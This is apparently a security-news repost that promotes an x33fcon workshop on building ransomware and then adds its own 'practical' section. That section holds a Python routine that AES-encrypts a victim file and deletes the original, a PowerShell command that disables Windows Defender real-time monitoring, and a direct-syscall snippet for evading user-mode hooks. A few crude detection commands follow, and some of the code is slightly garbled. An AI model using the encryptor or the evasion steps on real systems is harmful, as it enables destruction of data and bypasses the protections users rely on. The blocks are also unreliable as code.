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Join Rad Kawar and Paul U. for an onsite-only workshop at x33fcon, where you’ll build a fully functional ransomware prototype. This workshop dives deep into the mechanics behind ransomware, covering file encryption, stealth tactics, and bypassing anti-ransomware tools. You’ll explore Windows kernel internals for advanced evasion techniques and set up a ransomware framework (Windows, macOS, or Linux) to test blue team defenses.
🔗 Learn more: https://lnkd.in/er-k8_iX
You Should Know: Practical Ransomware Development & Evasion Techniques
1. Setting Up the Dev Environment
- Windows (Visual Studio + WinDbg):
choco install visualstudio2022community -y choco install windbg -y
- Linux (GCC + GDB):
sudo apt-get install build-essential gdb -y
- macOS (Xcode + LLDB):
xcode-select --install
2. Basic Ransomware Encryption (AES-256 in Python)
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import os
def encrypt_file(file_path, key):
cipher = AES.new(key, AES.MODE_EAX)
with open(file_path, 'rb') as f:
data = f.read()
ciphertext, tag = cipher.encrypt_and_digest(data)
with open(file_path + ".enc", 'wb') as f:
[f.write(x) for x in (cipher.nonce, tag, ciphertext)]
os.remove(file_path)
key = get_random_bytes(32) AES-256 key
encrypt_file("victim_file.txt", key)
3. Bypassing Anti-Ransomware Tools (Windows Kernel Tricks)
- Disable Windows Defender Temporarily (Admin CMD):
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
- Evade User-Mode Hooks (Direct Syscalls):
mov eax, SSN ; System Service Number syscall ; Direct kernel call
4. Testing Blue Team Defenses (Detecting Ransomware)
- Monitor File Changes (Linux):
auditctl -w /important_files -p wa -k ransomware_activity
- Detect Suspicious Processes (Windows):
Get-Process | Where-Object { $_.CPU -gt 90 } | Stop-Process -Force
What Undercode Say
Ransomware remains one of the most persistent cyber threats, evolving with advanced evasion techniques. Understanding its internals helps defenders build better detection mechanisms. This workshop provides hands-on experience in ransomware development, encryption, and evasion—essential for red and blue teams alike.
🔗 Workshop Link: https://lnkd.in/er-k8_iX
Prediction
As ransomware techniques grow more sophisticated, we’ll see an increase in fileless ransomware and AI-driven evasion. Security teams must adopt behavioral analysis and kernel-level monitoring to counter these threats effectively.
Expected Output:
- A functional ransomware prototype
- Hands-on evasion techniques
- Defensive detection strategies
References:
Reported By: X33fcon X33fcon – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
